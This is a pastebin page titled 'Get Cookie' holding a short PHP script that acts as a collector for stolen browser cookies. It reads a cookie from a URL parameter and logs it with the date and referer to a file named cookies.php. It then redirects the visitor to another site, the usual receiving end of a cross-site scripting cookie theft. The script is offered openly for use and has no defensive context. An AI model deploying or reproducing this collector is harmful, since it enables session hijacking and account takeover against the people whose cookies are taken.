viewing paste Get Cookie | PHP

Posted on the | Last edited on
1 2 3 4 5 6 7 8 9 10
<?php
    $cookie = $_GET['c'];
    $date=date("j F, Y, g:i a");
    $referer = getenv('HTTP_REFERER');
    $fp = fopen('cookies.php', 'a');
    fwrite($fp, 'Cookie: '.$cookie.'<br /> IP: '.$ip. '<br /> Date and time: ' .$date.'<br /> Referer: ' .$referer.'<br /><br />');
    fclose($fp);
    header ("Location: http://www.example.com");
?>
 
Viewed 619 times, submitted by Guest.